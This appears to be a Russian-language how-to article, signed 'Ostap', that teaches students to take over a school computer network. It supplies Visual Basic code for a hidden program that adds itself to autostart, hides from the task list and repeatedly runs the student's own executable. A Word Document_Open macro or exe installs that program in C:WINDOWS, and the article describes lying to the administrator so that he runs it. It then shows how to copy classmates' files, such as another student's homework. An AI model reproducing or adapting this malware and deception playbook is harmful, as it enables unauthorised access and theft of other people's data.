Нужно создать 3 проги:
#1. "универсальная" каждую 1-5 минут запускает прогу из твоей папки
Она:
Добовляется в автозагрузку с помошью API.
Сделай её не видимой (Form1.Visible=True).
Чтоб не отображалась в Ctrl+Alt+Del с помошью API.
Костяк примерно так:
Private Sub Timer1_Timer()
On Error Resume Next 'чтоб не было ошибки если там не будет проги
Shell ("J:studentsst12pusk.exe")'ну тут путь к твоей папке и к проге pusk.exe или как захочешь
End Sub
Откомпилируй её в *.exe файл ну скажем "proga.exe" и сохрани в своей папке
#2. Можно написать макрос в Word'e или сделать *.exe файл вот так:
FileCopy "J:studentsst12proga.exe", "C:WINDOWSproga.exe" ' у Админов всегда С: открыт.
Shell ("C:WINDOWSproga.exe")
Откомпилируй её в *.exe если в сохрани в Worde в процедуре Private Sub Document_Open()
Вот теперь дело за тобой.
Далее ты идешь к админу и говоришь что хочешь... главное чтоб он запусти эту прогу или Word документ. Ну я говорил, что у меня документ не открывается появляется сообщение что "нужны права Администратора" ну админ и запустил его (Наивный Чукотский Мальчик )
Ну там сами придумаете чего сказать админу там например у меня Прога какая-то появилась подозрительная.
Теперь когда прога proga.exe лежит у админа на жестком, прописана в автозагрузку, и
каждые 1 или 5 минут (я сделал 3 минуты) запускает прогу pusk.exe из твоей папки у тебя появляется вполне нормальный доступ ко всем папкам одноклассников и к компу админа. Доступ напоминает работу в DOS’e.
#3. Например мне нужно было скопировать работаму Rabota.doc у студента "st15" к себе в папку "st12" делаю такую вещь:
FileCopy "J:studentsst15Rabota.doc", "J:studentsst12Rabota.doc" ' копирую файл к себе в
папку.
Unload Form1 ' ОБЯЗАТЕЛЬНО сразу после действия закрывай прогу а то потом не удалишь её и не сможешь заменить.
Её тоже желательно делать не видимой.
Оставьте свои Модернизации идеи или если найдете БАГИ.
Автор статьи: Ostap